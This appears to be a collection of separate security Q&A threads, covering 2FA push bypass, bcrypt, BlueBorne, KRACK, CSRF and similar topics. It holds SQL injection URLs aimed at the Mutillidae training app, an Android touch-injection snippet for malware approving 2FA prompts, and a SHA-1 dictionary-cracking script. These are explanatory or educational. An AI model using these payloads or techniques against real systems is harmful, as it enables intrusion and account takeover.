I know the table is accounts and the columns are: cid, username, password, mysignature, is_admin.

This screenshot shows the table accounts: https://imgur.com/9F9aHbS

I wish to be able to add a new user to the database (table accounts)

I tried with these URLs:

http//192.168.x.x/mutillidae/index.php
 ?page=user-info.php&username=d"union insert into accounts ("cid","username","password","mysignature","is_admin") values ("18","bob1", "bob1","mysign","FALSE");--&password=d&user-info-php-submit-button=View+Account+Details

http//192.168.x.x/mutillidae/index.php
 ?page=user-info.php&username=d";insert into accounts ("cid","username","password","mysignature","is_admin") values (18,"bob1", "bob1","mysign",FALSE);--&password=d&user-info-php-submit-button=View+Account+Details

If it can help, here is the pastebin of the vulnerable page (php source code): http://pastebin.com/wfnL68jw
with a sample:

            //Accept data from either GET or POST to make this target soft for SQLMAP
            $lUsername = $_REQUEST["username"];
            $lPassword = $_REQUEST["password"];

            $LogHandler->writeToLog($conn, "Recieved request to display user information for: " . $lUsername);

            $lQuery  = "SELECT * FROM accounts WHERE username='".
            $lUsername .
            "' AND password='" .
            $lPassword .
            "'";
            $lEncodeOutput = FALSE;

I'm assuming that you would like to figure out the exact method yourself and are only looking to be pointed in the right direction.

PHP database query methods typically only allow a single query per call. So you have to make an injection that is part of the one query that is executed.

However, I'm pretty sure you can't INSERT data using injection, only manipulate the outcome of a SELECT.


Are Push 2FA methods safe from Android and iOS Malware? I am doing a survey on various 2FA solutions, and recently I came across “Push” 2FA (e.g Duo Security). In this solution, the site (e.g. a banking site) pushes a notification to the user’s mobile phone, and the user taps on “Yes” if the transaction is legitimate, or “No” if it isn't.

Now, assuming the user password has already been compromised and only the second factor is standing in the way, wouldn’t a carefully crafted malware residing on the user’s phone simply be able to generate the “Yes” tap? How can the 2FA app even be sure the user inputs are coming from the user and not from a malware?

I keep hearing that app sandboxed, as in Android, prevents one app from interacting from another. Does this mean a malware can’t generate spurious inputs that mimic user inputs to the 2FA app?

I'll be writing from the assumption that 2FA is used with two separate devices. A single device with 2FA doesn't make any sense to me considering the risks associated with malware.

Is it possible to trick 2FA?

  Now, wouldn’t a malware residing on the user’s phone simply be able to generate the “Yes” tap?

Yes, this is possible.

Pretty much nothing is safe from malware that enables root-access to a device. If you have 2FA enabled, and you have a keylogger, or some form of remote administration tool on the device, you could easily bypass almost all forms of 2FA using various different methods.

However, 2FA greatly mitigates this risk. While it is possible for malware to do this, it's also a lot less likely for an attacker to have control of every device in your possession.

  How can the 2FA app even be sure the user inputs are coming from the user and not from a malware.

In most cases, this is assumed.

Like I said, it's very unlikely for an attacker to have breached all of your devices. Furthermore, if an attacker has access to your device, "generating a tap" isn't required; they only need to phantom-click the "X", and "Y" bounds of the device screen where the image button would appear.

Here's how it would work:

Get the user's device resolution either through the system, or from a list of known devices and their resolutions.
Perform a calculation of the device resolution against the expected position of the Push 2FA button. You know it will be within a certain % of the screen. In fact, this is how video games usually position UI elements.
Malware initiates a "click" anywhere on that button's expected regions.
???
Profit.

Wait, how can you force a click? Well, a piece of malware on Android could do something like this:

dispatchTouchEvent(
   MotionEvent.obtain(downTime, eventTime, action, x, y, pressure, size,
                      metaState, xPrecision, yPrecision, deviceId, edgeFlags));

So what good is Two-Factor Authentication, then?

2FA is offering tremendous protection against someone who managed to get your password, but who doesn't have access to your computer or mobile phone.

Or maybe they have access to your computer, but not your phone. If they have access to your computer, non-Push-2FA can be bypassed quickly under the right circumstances. A keylogger, for example.

Maybe you found the malware on your device, and removed it. They might still have your password, but can't really do anything unless they also have access to your secondary authentication method.

It helps prevent unauthorized access from people who may have found, or even guessed your password. It also prevents people from hijacking your sessions.

2FA is not a one-size-fits-all solution - it's just another layer of protection. I would recommend using it.

  I keep hearing that app sandboxing, as in Android, prevents one app from interacting from another. Does this mean a malware can’t generate spurious inputs that mimic user inputs to the 2FA app

That really depends. If you have root access to a device through an exploit, you also very likely have access to whatever sandboxing is occurring as well. It's relatively easy to programmatically "click" on a phone's screen region.


How to call webservice securely in Android Hello I am working on an Android application in which I'm required to execute a few https web service calls. All my web-service URLs and Web API KEYs are in the code plus the IP address of the server. When anyone does reverse engineering on my app then that guy can get my web service URLs as well as API KEYs then can simply attack using REST client.

How do I secure my setup so that an attacker can't get my WEB API KEY which I defined in the strings.xml

<string name="WEB_API_KEY">XXXXXXXXXXXXXXXXXXXXXXXXXXX</string>

It's simple. Never trust the client.

Never rely your business on storing any secrets in the client that the user are not supposed to know.

It doesn't matter whether this is Android, desktop, or whatever. Unless you're prepared to secure your device like an ATM (bolted onto a wall in a weighted safe, and cameras all around), the client is not to trusted. And even if you are on an ATM, still don't trust the device.

  How to secure such that any attacker can't get anyhow my WEB API KEY which I defined in the strings.xml

You can't. You don't need to.

Authenticate per user and per device. Users shouldn't be sharing the same API key with anyone else, the API key should authenticate the user or the user's decision rather than the client.


Login System Security Suggestions I am creating a login system and was wondering if anybody had any suggestions. Here is my current setup:

nonce to check if the login originated from our login form
session and cookie auth mixed - in a session cookie sha256(username-set-in-a-session,static-cookie-id,user-agent)
The php session id is regenerated every request
SSL on the whole site
Check if they have been active - timeout after 1 hour
Password must be 8 characters with at least a number and a letter
Password stored with a static and dynamic salt with the hash sha256
After 10 failed logins on any account show recaptcha
After 10 failed logins on one account disable it for 10 minutes or until email confirm
Generic error messages - ex: login failed, please try again
SQL injection prevented

The best advice I can give you is to read the definitive guide to forms-based website authentication on StackOverflow. It's pretty much the best answer you'll ever need, and it includes plenty of links to further reading.


What is BlueBorne and how to protect myself? Since this is a hot-topic this week, I'm looking for a canonical answer:

What is the BlueBorne Bluetooth vulnerability?
How to protect myself?

This my condensed notes of the official BlueBorne documentation page published by Armis Labs.

General Overview

BlueBorne is an attack vector by which hackers can leverage Bluetooth connections to penetrate and take complete control over targeted devices.
By spreading through the air, the BlueBorne attack vector surpasses the capabilities of most attack vectors by penetrating secure “air-gapped” networks which are disconnected from any other network, including the internet.
The BlueBorne attack vector requires no user interaction, is compatible to all software versions, and does not require any preconditions or configurations aside of the Bluetooth being active. Unlike the common misconception, Bluetooth enabled devices are constantly searching for incoming connections from any devices, and not only those they have been paired with.

BlueBorne Explained: How The Attack Vector Works

The BlueBorne attack vector has several stages. First, the attacker locates active Bluetooth connections around him or her. Devices can be identified even if they are not set to “discoverable” mode. Next, the attacker obtains the device’s MAC address, which is a unique identifier of that specific device. By probing the device, the attacker can determine which operating system his victim is using, and adjust his exploit accordingly. The attacker will then exploit a vulnerability in the implementation of the Bluetooth protocol in the relevant platform.

The final stage of the attack exploits implementation flaws in each major OS's bluetooth stack. The linked page lists 7 CVEs for the bluetooth stacks of Android, Linux and Windows, and mentions that iOS had similar vulnerabilities that were patched in iOS 10. These include buffer overflows, remote code executions, and man-in-the-middle vulnerabilities. From the vulnerabilities listed, it seems that Android and Linux are easier targets than Windows or iOS. The reason these lead to full system compromise is that:

the Bluetooth process has high privileges on all operating systems, exploiting it provides virtually full control over the device

How to protect yourself
The standard answer is to disable bluetooth on all your devices immediately and wait for an appropriate OS patch (except for devices running iOS 10+, which are supposedly fine).
Although, for things like your car stereo or your bluetooth printer, it will probably never receive a patch. Even the majority of Android phones probably won't ever get patched: Google only supports its own flagship Nexus devices for 18 months, and beyond that even if Google does release a patch for a supported device, it's usually up to your mobile carrier to push the update, and most don't.
Alas, the real answer is probably: wait until this gets fixed in mainstream Android, then buy a new device.


Client-side BCrypt, store salt and hash separately in MySQL database I’m developing an Android app with a MySQL database for storing user login credentials. I’m using jBCrypt for hashing passwords before storing them in the database. On registration, the password is hashed on client-side as follows:

String salt = BCrypt.gensalt();
String hash = BCrypt.hashpw("password", salt).split("\\$")[3];
salt = salt.split("\\$")[3];
hash = hash.substring(salt.length(), hash.length());

In this case, BCrypt.hashpw() will give me the hash

  $2a$10$rrll.6qqZFLPe8.usJj.je0MayttjWiUuw/x3ubsHCivFsPIKsPgq

I then remove the params ($2a$10$) and store the first 22 characters as salt and the last 31 as hash in the database:

------------------------------------------------------------------------
|  uid  |          salt            |               hash                |
------------------------------------------------------------------------
|   1   |  rrll.6qqZFLPe8.usJj.je  |  0MayttjWiUuw/x3ubsHCivFsPIKsPgq  |
------------------------------------------------------------------------

Now, whenever a client wants to log in, they enter their username and password and only the salt is returned from the database. The client calculates their hash by calling BCrypt.hashpw() with their salt:

String salt = "$2a$10$" + returnedSalt;
String hash = BCrypt.hashpw(“password”, salt).split("\\$")[3];
hash = hash.substring(salt.length(), hash.length());

giving me:

  hash = "0MayttjWiUuw/x3ubsHCivFsPIKsPgq"

which is equal to the hash stored in the database. The client then sends the username and the calculated hash back to the server. If they match, the user gets logged in.

I know that I can simplify this process by fetching the entire BCrypt hash directly and compare it with the given password with

if (BCrypt.checkpw(“password”, bCryptHash))
  // match

but it feels wrong to send the entire hashed password to the user to perform the check.

I understand that it is preferable to hash the passwords server-side, but is there something wrong with this solution? Am I missing something?

Say that I have an unencrypted HTTP connection between the phone and the server. Would this be a secure solution?

The client is the attacker. Walk around your office while chanting that sentence 144 times; be sure to punctuate your diction with a small drum. That way, you will remember it.

In your server, you are sending Java code to run on the client. The honest client will run your code. Nobody forces the attacker to do so as well; and you use client authentication precisely because you fear that the client maybe be somebody else, who tries to impersonate the normal user. From your server point of view, you only see the bytes that you send to the client, and the bytes that come back. You cannot make sure that these bytes were computed with your code. The attacker, being an evil scoundrel, is perfectly able to envision not running your code and instead send the answer that your server expects.

Consider now a simple password authentication scheme where you simply store the users' passwords in your database. To authenticate, ask the user to send the password, and then compare it with what you stored. This is very simple. This is also very bad: it is called plaintext passwords. The problem is that any simple read-only glimpse at the database (be it a SQL injection attack, a stolen backup tape, a retrieved old harddisk from a dumpster...) will give the attacker all the passwords. To state things plainly, the mistake here is in storing in the database exactly the values that, when sent from the client, grant access.

And your proposed scheme ? Exact same thing. You store in the database the hash value "as is". And when the client sends that exact value, access is granted. Of course, the honest client will send the value by hashing a password. But, let's face it: many attackers are not honest people.

Now there is value in doing part of the hashing on the client side. Indeed, good password hashing is an arms race, in which the hashing is done expensive on purpose. Offloading some of the work on clients can be a nice thing. It does not work as well when clients are feeble, e.g. smartphones with Java, or, even worse, Javascript (which is a completely different thing, despite the name similarity).

In that case, you would need to run bcrypt on the client, and store on the server not the bcrypt output, but the hash of the bcrypt output with some reasonable hash function (a fast one like SHA-256 would be fine). The processing of a password P would then be a bcrypt on the client, then a SHA-256 of the result, computed on the server. This will push most of the CPU expense on the client, and will be as secure as a raw bcrypt for what it is meant to do (see below).

I understand that you want to "encrypt" passwords (hashing is not encryption !) because you want to use plain HTTP. You do not like HTTPS for the same reason as everybody else, which is the dreaded SSL certificate. Paying 20 bucks a year for a SSL certificate would be akin to having your skin removed with a potato-peeler sprinkled with lemon juice.

Unfortunately, there is no escaping the peeler. As others have remarked, even if you have a rock solid authentication mechanism, raw HTTP is still unprotected and an active attacker can simply wait for a user to authenticate, and hijack the connection from that point. A very common example of "active attacker" are people who simply run a fake WiFi access point -- that is, a completely real WiFi access point, but they also keep the option to hijack connections at any point. This is a kind of attack model that cannot be countered without a comprehensive cryptographic protocol that extends over all the data, not just an initial authentication method. About the simplest kind of such protocol is SSL/TLS. Any protocol that provides the same guarantees, that you absolutely need, will also be as complex as SSL/TLS, and much harder to implement because, contrary to SSL/TLS, it is not already implemented in the client software.

SSL is there, just use it. As for the lemon, suck it up.

(If the financial cost is a barrier, there are free alternatives, such as Let's Encrypt and pki.io. Whether they fit your bill remains to be seen, but they are worth considering if you are really short on cash.)


Why do browsers disallow accessing files from local file system even if the HTML document is also on the local file system? Many browsers do not allow you to access files on the local filesystem with JavaScript (even if the HTML document is also on the local filesystem).

(source)
Yes I know that the solution is to "install and use a HTTP server for local development" nonetheless I don't understand why should this be required? Allowing a webpage to access local filesystem would obviously be horrible, but what are the risks of accessing local filesystem from local filesystem?
Any time I run a shell script I'm doing this and shell scripts don't prevent me from running cat. The way I'm getting it if I run anything from local filesystem (be it an arbitrary executable, executable I've compiled myself, or an interpreted script, which includes a HTML or JS document!) I'm expected to know what I'm running. Why are JS scripts run in a browser exempt from this assumption? If I have the habit of carelessly running malware from local filesystem I can easily screw myself up in a plethora of ways other than opening a HTML document.
Also: isn't CORS supposed to prohibit cross-origin resource loading? To my understanding requesting a local filesystem resource from a local filesystem resource is hardly cross-origin, rather this is the very same origin, so I don't understand why would CORS be complaining.
On top of that, is requiring me to run a HTTP server for local development improving anything? Doing so requires me to needlessly open a port on localhost. Clearly this can be done in such a way that will prevent outside world from talking to my local server (isn't denying incoming connections enough?) but why open a listening port if I don't have to?
What am I failing to understand here?
EDIT: On the second thought, I do see one reason. Browsers allow users to save a webpage locally. It would make sense to be able to open such webpage in a way that will not damage the local system any more than loading this same webpage from the internet.

I'm going to pull an old article here on an attack that used known image locations on hosts to map out networks for attacks (from 2006):

https://www.cnet.com/news/javascript-opens-doors-to-browser-based-attacks/

Initially, JavaScript had a lot more access to the system than it does today, but over time the value of having a widely permissive javascript agent allowed attacks more visibility to the end point than they should have. If you allow your browser to browse all your files, you give your attacker the ability to launch malware from your browser even while you're just looking at tame cat videos. Oops.

As systems progress, I imagine JavaScript will continue to retain a fairly restricted access level because of the issues open access caused in the past. As the most recent JavaScript zeroday announced on Microsoft demonstrated, it's a pretty big deal causing companies to rip out JavaScript libraries before they could be executed.

Now, you'll notice that I've focused a LOT on JavaScript and it's because of JavaScript that this is really an issue. HTML is certainly benign by itself, but as soon as you open a script block, you've opened a can of worms that need to be retained.

Finally, the reasons why browsers don't support this in any capacity is because it's not a feature you really need for 99% of the population. The webbrowser is not intended to be a web server and is only a client. Building in the server type functions would bloat the browsers which is the opposite function all the browsers are trying to implement (lightweight, fast, resource anemic)

That said, with the increasingly open model for browsers (Microsoft is adopting Chrome), I'm guessing you could attempt to write a module that bakes this functionality in, and I would further guess there would be some developers who would be happy. You just need to see if that niche really wants a local server that doesn't require installing apache, iis, or nginx.


How to implement server/client software where only user can access his files via key-pair I want to implement a server side application with REST API - clients are browser and mobile app. User will have a login (email, password) and will store his files on the server. These files must be encrypted so that admins or anyone with access to the DB or filesystem wont have any possibility to open these files. Here are my questions regarding this issue:

What is the best way to store encrypted data on the server with using RSA - where as only authorized frontend user would have access to it? Third party should not have access to data, even if FTP access is given. In this case, private key can be "closed" by a user password. User password is only entered on authorization and is not available later on.

My ideas on this topic:

Storing the private key (encrypted by server) without password in the user session. But in this case, if one has access to server, files can be de/encrypted.
Storing the private key (encrypted by server) without password on the client's side (in webbrowser) and passing it on request to the server when an encryption process is needed. Here again, a third party with access to the server could intercept the transfer of the key and then encrypt user's files.
Storing of private key without password on clients side and decrypting files on client's side. This may work with mobile Apps, but not on browser.

As long as the administrators of the server cannot be trusted any kind of key management, encryption or decryption should not be done on the server or through code provided by the server (like a program downloaded from the server or Javascript from the server).

This means these actions need to be done either by a fully trusted third party or by renting computing power from a trusted third party or by the user itself on its own (trusted) system. The latter might be achieved with standalone apps (from a trusted source). In the browser this could be done with some extension from a trusted source. It could not be done with extension or HTML+script loaded from the untrusted server since this could have been manipulated by the malicious admin.


Dictionary Attack on SHA-1 hashes The following is a Python code to crack SHA1 hash. This code does not seem to work.

import hashlib
# plug in the hash that needs to be cracked
hash_to_crack = "7c4a8d09ca3762af61e59520943dc26494f8941b"
# open the dictionary file
dict_file = "dictionary.txt"

def main():
    with open(dict_file) as fileobj:
        for line in fileobj:
            line = line.strip()
            if hashlib.sha1(line).hexdigest() == hash_to_crack:
                print ("Successfully cracked the hash %s: It is %s") % (hash_to_crack, line);
            return ""
print ("Failed to crack the file.")

if __name__ == "__main__":
    main()

The output I got :-

 RESTART: C:/Users/kiran/AppData/Local/Programs/Python/Python37/Codes/datest1.py
Traceback (most recent call last):
  File "C:/Users/kiran/AppData/Local/Programs/Python/Python37/Codes/datest1.py", line 17, in <module>
    main()
  File "C:/Users/kiran/AppData/Local/Programs/Python/Python37/Codes/datest1.py", line 8, in main
    with open(dict_file) as fileobj:
FileNotFoundError: [Errno 2] No such file or directory: 'dictionary.txt'

P.S I am beginner when it comes to coding.  Please help me fix this code.

Probably not the place for this question. Since it's a Info Security thing, but good that you're trying.

The FileNotFound error is basically saying that there is no File to be found. Python is looking for the dictionary.txt file in the C:/Users/kiran/AppData/Local/Programs/Python/Python37/Codes/ directory, and couldn't find it.

On a 'not so infosec' note, you should have a return statement within the if block, but not in the for block. That way, the program stops after a hash is found. The way your code is written, the program will terminate after the first iteration of the for loop.

def main():
    with open(dict_file) as fileobj:
        for line in fileobj:
            line = line.strip()
            if hashlib.sha1(line).hexdigest() == hash_to_crack:
                print ("Successfully cracked the hash %s: It is %s") % (hash_to_crack, line);
                return  # returns after a hash is foud

    print ("Failed to crack the file.")
    return  # returns if all hashes in dictionary.txt is exhausted


Does holding an AES-encrypted string and its cleartext from a database help an attacker in decrypting other parts of the database I have a question regarding Encryption. Say an attacker stole my entire database. In that database all the data was encrypted. If the attacker took one piece of encrypted data and for some reason knew the original value of this one piece of encrypted data, could he use that knowledge to workout a way to decrypt all the other data efficiently?

When used correctly, no.   This is one of the tests for semantic security, in fact.  In another form, if an attacker can choose a plaintext to be encrypted by you, with your secret key, he should not be able to learn anything about any other data you have encrypted with the same key. This is what is known as CPA-secure (chosen plaintext attack) and AES is believed to be (as far as we can tell) CPA-secure.  So not only can an attacker not decrypt other data using this knowledge, he can't even learn anything about the other data with this knowledge.


Can a malware steal the content of the clipboard? Is there any malware that can steal the content of the clipboard?.

E.g. say you have a text file with say private info or passwords, and you copy this data to paste on say another text file on a flash drive. Are there any malware that can get that copied data and transmit it over the net ?

Yes. It can be done with Javascript too. The beef-xss toolkit has an attack which facilitates this. https://github.com/beefproject/beef/tree/master/modules/host/clipboard_theft


Consequences of the WPA2 KRACK attack on older Windows and iOS clients What are the real-world consequences of the WPA2 KRACK attacks on older Windows systems (XP/Vista) and iOS devices (10 and older) that will not be patched?

I am aware of another question on this site that asks about the consequences of the KRACK attacks, but the current answer to that question addresses the general consequences of the attacks - it does not address Windows and iOS clients specifically.

I have seen multiple articles stating that Windows and iOS clients are impacted differently than other clients.  For example, one article suggests Windows and iOS users don't really have anything to worry about:

  First off, there’s good news for Windows and iOS users about KRACK: It doesn’t matter for you. Although the vulnerability is technically present, any realistic attack using KRACK against Windows or newer versions of iOS won’t work or doesn’t present a serious threat.

Another article says the following:

  While Windows and Apple IOS devices are not vulnerable to the four-way handshake attack, they are vulnerable to the group key handshake attack and the Fast BSS attack.

So what could an attacker actually do to Windows and iOS clients using the group key handshake and Fast BSS attacks?  Are those attacks really nothing to worry about as some articles suggest?

I suspect that some parts of KRACK are still applicable to both older Windows and older iOS devices.

The group-key handshake issue (CVE-2017-13080) has a Windows security advisory, but unsupported OSes like Vista and XP are not listed (unsurprisingly). Given that this is a protocol-level issue that has been in place for a very long time, and given that all actively supported versions of Windows are affected, my guess is that XP and Vista are also be affected. (It's also important to note both that paid XP support is still theoretically available, and that the Qualys advisory includes XP Embedded in its detection list for this CVE.)

The impact, from the paper:

  By forcing nonce reuse in this manner, the data-confidentiality
  protocol can be attacked, e.g., packets can be replayed, decrypted,
  and/or forged. The same technique is used to attack the group key,
  PeerKey, and fast BSS transition handshake.

The fast BSS issue (CVE-2017-13082), by contrast, does not appear to have an associated Microsoft security bulletin at all that I could find. At first, I tentatively concluded that no Microsoft products are actually subject to this specific CVE - but then I realized that others have been unable to locate any of the other specific CVEs in Microsoft references.

However, CVE-2017-13082 is an AP-side issue that can only be fully remediated by patching the AP. It's possible that if a device is using Vista or XP in Internet Connection Sharing and it is acting as an AP, then it might be subject to the fast BSS issue. [Edit: there is some evidence that ICS does not use 802.11r]

If so, the impact would therefore be the same as for other platforms - a specific kind of spoofing in which replaying frames from the access point to the client is possible. From the paper:

  When the 4-way or fast BSS transition handshake is attacked, the
  precise impact depends on the data-confidentiality protocol being
  used. If CCMP is used, arbitrary packets can be decrypted. In turn,
  this can be used to decrypt TCP SYN packets, and hijack TCP
  connections. For example, an adversary can inject malicious content
  into unencrypted HTTP connections. If TKIP or GCMP is used, an
  adversary can both decrypt and inject arbitrary packets.

On the iOS side, since iOS didn't strictly implement the protocol spec and sidestepped most of the client-side issues, and according to this article, the iOS patch primarily helps iOS clients to mitigate unpatched AP-side-specific issues.

Also, since iOS implements 802.11r, it's vulnerable to that subset of the CVEs. This is covered more thoroughly in this answer.


Why can RSA-OAEP padded mail be decrypted using OpenSSL 1.0.1e? I have been encrypting messages and specifying RSA-OAEP padding with OpenSSL 1.0.2k, using the following command:

openssl cms -encrypt -in content.txt -out message.msg \
-recip public-key.pem -keyopt rsa_padding_mode:oaep

And can decrypt them fine when still using v1.0.2k.

When trying to decrypt the message in an environment using OpenSSL 1.0.1e, I would expect that decryption would fail, as on the documentation for OpenSSL cms, it says:

  Support for RSA-OAEP and RSA-PSS was first added to OpenSSL 1.1.0

However when I use the following command to try and decrypt the message (this would be within the v1.0.1e environment), the message is decrypted successfully and displays the original plaintext content.

openssl cms -decrypt -in message.msg -recip \
recipient-combined-key.pem -inkey private-key.pem

I would expect decryption to fail in this case, as surely the version without support for RSA-OAEP would have no knowledge of the padding scheme used?

I have also tested signed messages using RSA-PSS padding, and in that case the signature cannot be verified on the older version of OpenSSL without RSA-PSS support. Can someone explain why this is the case for PSS padding, and not OAEP padding?

OpenSSL 1.0.1 supports both OAEP and PSS padding modes, it is the cms tool that doesn't. Using cms to decrypt with OAEP padding works in 1.0.1 incidentally because the decryption function cms calls automatically determines the padding mode. The function called to verify a signature doesn't do this and defaults to PKCS1, so it fails.

The cms tool was updated in 1.1.0 to, among other things, allow the -keyopt option so that padding can be specified when encrypting or signing, and to determine the padding type when verifying. This change was backported to 1.0.2.


How to avoid to lose data encrypted because it was encrypted by no longer supported software? How can I avoid losing data that is encrypted using methods that may become obsolete? I have valuable family records I wish to secure, so I plan to encrypt them before putting them in long-term storage. But how can I ensure that the encryption is future-proof, and that I will be able to access the data an arbitrary amount of time in the future?

When dealing with encrypted data, you must be careful to pay attention to the systems and software that will be necessary to decrypt it.  If at any point it becomes foreseeable that the systems or software necessary to decrypt your data will no longer be available, you then must consider alternative methods of encrypting/decrypting the data.

When an alternative encryption/decryption method is available, and deemed necessary, use your current methods to decrypt the data and then immediately re-encrypt it with the new method.

Of course, it should go without saying that you should always keep good backups of your data - in fact, the backups might be the best option for testing your new encryption/decryption method before performing it on your live data.


Secure way to encrypt (not hash) passwords? I'm building a system that for reasons I'll outline below, can't used hashed passwords, but I'd still like to encrypt them so that it's as hard as possible to crack them, in the (unlikely) event the DB does get compromised.

Basically, the reason I can't store them hashed is because they aren't authentication details for my system, they'll be used to log into external services, and because of that I'd need to store them in a reversible format so I can decrypt the authentication details and perform remote logins.

What would be the best way to approach this problem?

Depending on what other services/systems your service/system wants to log into, you probably want to store an authentication token rather than the user's password. Look into whether you can use e.g. OAuth or similar to access those other systems.


HTTPS inspection and TLS certificates I have some difficulties wrapping my head around the following concept:
When HTTPS inspection (outbound) is enabled on a NextGen Firewall (NGFW) e.g. CheckPoint, a certificate has to be installed on the NGFW. These certificates (or at least the root/intermediate) need to pushed or installed on the clients to be able to "trust" the NGFW's certificate.
How can HTTPS inspection be successful if, for example, a browser sees that the Subject of the certificated (installed on the NGFW) does not match the Domainname/URL of the requested website?
In short: even though the certificate of the NGFW is regarded as trusted by the client on a CA-level, it still sees that it is not connected to the server it is intended to reach and therefore recognizes a MITM attack. Or am I missing something?

The certificate used in TLS interception is not a server certificate but a CA certificate. It is not used to authenticate the intercepted server itself. Instead a new certificate will be dynamically created for each visited server and this new server certificate will be signed by the intercepting proxies CA certificate.
In the client the dynamically created server certificate will undergo the usual checks, i.e. matching subject, expiration etc - all fits because it was specifically created as a replacement of the original sites certificate. The trust chain fits too since the proxies CA was explicitly imported as trusted into the client.


Shellshock attack scenario exploiting php I've seen attack scenarios involving using wget on cgi-scripts, but how about a scenario exploiting a web server php script that issues an exec() or system() call to a bash script?

As far as I can tell, environment variables like HTTP_USER_AGENT don't get passed to exec'ed shell scripts, at least by default.

PHP can only be exploited in the shellshock-case by using it in PHP-CGI mode due to the nature how CGI works. For PHP functions like system() and exec() it is not possible to influence the environment variables unless you set them yourself in PHP. That would then be in your example something like system("HTTP_SERVER=evil.example.org /path/to/script");


CSRF and defence mechanisms I was reading some material about the defense mechanisms used to protect against CSRF attacks. I think I've a question about the one based on a secure token.

As far as I know, a web application should be designed to include a secret token, which would block a CSRF attempt. This would work simply because the attacker wouldn’t know such token, hence s/he could not add it into the malicious redirect (I read a nice old summary from a senior user in the forum).

The bit I’m still struggling to grasp is how this works:

If I am indeed logged into that website, what would prevent my browser from adding this secret token to the malicious redirect? (Hopefully, the answer is that it does not, because of the very nature of this token, but I'm just missing how it works)
If I am not logged into that website, the attack would fail anyway, right? (Unless of course a malware has infected the machine and will wake up a “dormant” CSRF attack as soon as it has detected that the target URL has been requested by the user. That’s however beyond the scope of my question)

In short, it's because websites can send data by making POST request to other websites, but they cannot read data from other websites.

Let's forget about CORS (a way to explicitly allow sharing data between different domains anyway), and let's say A and B are two unrelated websites. A can make a POST request to B, sending data and performing actions. But A cannot read the content of B in any way (frames, Ajax requests, etc. won't work). So tokens provide a solution to CSRF because in order for A to make a successful POST request to B, the secret value of the token must be known. And there's no way to know it, unless you are on B. Only B knows the right value for your session.


Improved Caesar cipher – secured? First let me emphasize that I know nothing about encryption and maybe my question is completely wrong from encryption point of view.

Since I must use a simple substitution for a technical reason and I know that Caesar cipher is not secured and can be hacked easily and I was looking for a way to make it more secure for short messages (up to 500 words)

My suggestion

1) instead of using the 26 characters in English I’ll use the  1,111,998 characters in Unicode.

2) some characters will select in advance and will never be used in the encrypted message. The selected characters will be inserted as a distractions in the encrypted message (the receiver will know to ignore them).

3) the order of the characters will also be changed randomly and the receiver will have to do the job of reordering them.

4) instead of just shifting characters I’ll create a map of random relations between characters

Example:

Message: “I Love You”

Distraction characters: “o”

Mapping (for the simplicity of the example I mapped to order English characters): “I” = K, “ “ = U, “L” = R, “V” = M, “E” = T, “Y” = Z, “U” = A

Encrypted message: MOTUOKOURAZ (after removing the "O"s, mapping and rearrange the chars)

Decryption:

The receiver will discard the “O”s: MTUKURAZ

The receiver will translate using the map: ve i luy

The receiver will scramble the letters randomly until the message makes sense (I know this is sounds like a brute force, but in my case this is fine): I lve yu

The receiver will add the missing “O”: I love you

Why inventing the wheel? (Why shouldn't we roll our own?)

I have a case when I can only switch characters and unable to do something fancy (like ASE) and I still want it to be secure. So my question is not if there is something better, but is this secure?

Why i think this is solves the Caesar cipher weaknesses?

You can’t do a langue statistics attack since the letters are scrambled.

You can’t do a letters statistics attack since we have a distraction letters.

And the fact that we have a map and not a shit and over a million letters instead of 26 make every “guess” of one letter almost useless for the others (specially in short messages).

Thanks!

Your scheme is both not feasible and not secure.

  1) instead of using the 26 characters in English I’ll use the
  1,111,998 characters in Unicode.

What does this change in terms of security? It won't change the fact that most characters in the messages will be A-Z.

  2) some characters will select in advance and will never be used in
  the encrypted message. The selected characters will be inserted as a
  distractions in the encrypted message (the receiver will know to
  ignore them).   ...   The receiver will add the missing “O”:

That just won't work. There are infinite possible messages you could generate by adding a number of characters at some places, and the computer is not intelligent. While a hash could help a bit, I guess with your restrictions you can't have one (and this is out of the scope of a pure "encryption" anyways).

  The receiver will scramble the letters randomly until the message
  makes sense (I know this is sounds like a brute force, but in my case
  this is fine):

Again, not possible with some checking method. And if you have one, eg. 20 characters are 2432902008176640000 possibilites. Not fine.

  You can’t do a letters statistics attack since we have a distraction
  letters.

So what? This does not change much.

  And the fact that we have a map and not a shit and over a million
  letters instead of 26 make every “guess” of one letter almost useless
  for the others (specially in short messages).

Again, it won't change the fact that most characters in the messages will be A-Z.


Can you extract the encryption key of a computer with full disk encryption via malware? I recently discovered the subject of cold boot attacks which are able to extract the encryption key of the ram memory after the computer has shut down. and from what I understand is that law enforcement  can bust into people homes and pour liqued nitrogen over peoples computer for the key.

But then I thought of this: if you can steal the key out of the ram memory, wouldn't it make more sense if they just installed malware onto the suspects computer to get it(if it is possible ofcourse)?
so the finale question is: is it possible to extract the encryption key remotely via malware out off the ram memory, and if possible, how come that the law enforcement does not use this method instead of a cold boot attack?

is it possible to extract the encryption key remotely via malware out off the ram memory, and if possible, how come that the law enforcement does not use this method instead of a cold boot attack?

Of course it is possible. The malware requires to achieve privilege elevation ad access the encryption driver's memory; both things can be made difficult, but are by no means impossible.

Why law enforcement doesn't use this method (which actually does not require stealing any key: usually when the FDE is unlocked, the disk is accessible by any process, malware included, so the problem is just how to exfiltrate the purloined information): who says they don't? Where I live we got a nice scandal not too long ago, whereby a software firm got hacked that worked for various governments. They developed what was, for all intents and purposes, targeted malware.

Cold boot attacks and malware aren't mutually exclusive - you may have both at your disposal, and employ whatever best suits the specific case at hand.

From a legislatory point of view I believe that cold boot attacks are considered equivalent to a seizure, while malware installation is more of a gray area: it is somewhat equivalent to an ambush or check point, but it also entails altering the targeted system, which in some cases may render any evidence gathered utterly unusable - the equivalent of forcing open a suspect's door lock. Yes, law enforcement can enter at any moment, but so could theoretically anyone else, making any evidence questionable at last.

For example, if the malware allowed remote control of the targeted system, care should be exercised to ensure that no unauthorized access to the malware is then possible by parties unknown, for purposes of planting the very evidence the malware might then turn out.

Finally, the malware might be detected and even subverted, making it less desirable from a law enforcement's point of view.


Finding DKIM selectors without mailing Is there any way to find out what selectors are used by a domain in their DKIM record without access to an e-mail send from that domain?

So to clarify, let's say I know example.com has DKIM implemented.
I cannot receive an e-mail from example.com as I know no one that works there.
Can I still check the existence and validity of the DKIM record even though I do not know the name of the used selector? (or find the selector somehow without e-mail).

There is no way to detect if DKIM is implemented by the sender without getting a mail from the sender, extracting the selector from the DKIM-Signature header and getting the DKIM policy from DNS based on this selector.

